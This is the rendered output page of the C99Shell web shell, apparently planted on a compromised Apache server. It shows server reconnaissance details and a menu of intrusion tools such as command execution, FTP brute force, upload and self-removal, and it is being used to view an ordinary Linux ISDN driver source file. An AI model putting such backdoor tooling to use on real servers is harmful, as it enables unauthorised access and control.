!C99Shell v. 1.0 pre-release build #13!

Software: Apache/2.0.54 (Unix) mod_perl/1.99_09 Perl/v5.8.0 mod_ssl/2.0.54 OpenSSL/0.9.7l DAV/2 FrontPage/5.0.2.2635 PHP/4.4.0 mod_gzip/2.0.26.1a 

uname -a: Linux snow.he.net 4.4.276-v2-mono-1 #1 SMP Wed Jul 21 11:21:17 PDT 2021 i686 

uid=99(nobody) gid=98(nobody) groups=98(nobody) 

Safe-mode: OFF (not secure)

/usr/src/linux-2.4.18-xfs-1.1/drivers/isdn/sc/   drwxr-xr-x
Free 318.31 GB of 458.09 GB (69.49%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     event.c (1.73 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* $Id: event.c,v 1.1.4.1 2001/11/20 14:19:37 kai Exp $
 *
 * Copyright (C) 1996  SpellCaster Telecommunications Inc.
 *
 * This software may be used and distributed according to the terms
 * of the GNU General Public License, incorporated herein by reference.
 *
 * For more information, please contact gpl-info@spellcast.com or write:
 *
 *     SpellCaster Telecommunications Inc.
 *     5621 Finch Avenue East, Unit #3
 *     Scarborough, Ontario  Canada
 *     M1B 2T9
 *     +1 (416) 297-8565
 *     +1 (416) 297-6433 Facsimile
 */

#define __NO_VERSION__
#include "includes.h"
#include "hardware.h"
#include "message.h"
#include "card.h"

extern int cinst;
extern board *adapter[];

#ifdef DEBUG
static char *events[] = { "ISDN_STAT_STAVAIL",
              "ISDN_STAT_ICALL",
              "ISDN_STAT_RUN",
              "ISDN_STAT_STOP",
              "ISDN_STAT_DCONN",
              "ISDN_STAT_BCONN",
              "ISDN_STAT_DHUP",
              "ISDN_STAT_BHUP",
              "ISDN_STAT_CINF",
              "ISDN_STAT_LOAD",
              "ISDN_STAT_UNLOAD",
              "ISDN_STAT_BSENT",
              "ISDN_STAT_NODCH",
              "ISDN_STAT_ADDCH",
              "ISDN_STAT_CAUSE" };
#endif

int indicate_status(int card, int event,ulong Channel,char *Data)
{
    isdn_ctrl cmd;

    pr_debug("%s: Indicating event %s on Channel %d\n",
        adapter[card]->devicename, events[event-256], Channel);
    if (Data != NULL){
        pr_debug("%s: Event data: %s\n", adapter[card]->devicename,
            Data);
        switch (event) {
            case ISDN_STAT_BSENT:
                memcpy(&cmd.parm.length, Data, sizeof(cmd.parm.length));
                break;
            case ISDN_STAT_ICALL:
                memcpy(&cmd.parm.setup, Data, sizeof(cmd.parm.setup));
                break;
            default:
                strcpy(cmd.parm.num, Data);
        }
    }

    cmd.command = event;
    cmd.driver = adapter[card]->driverId;
    cmd.arg = Channel;
    return adapter[card]->card->statcallb(&cmd);
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0047 ]--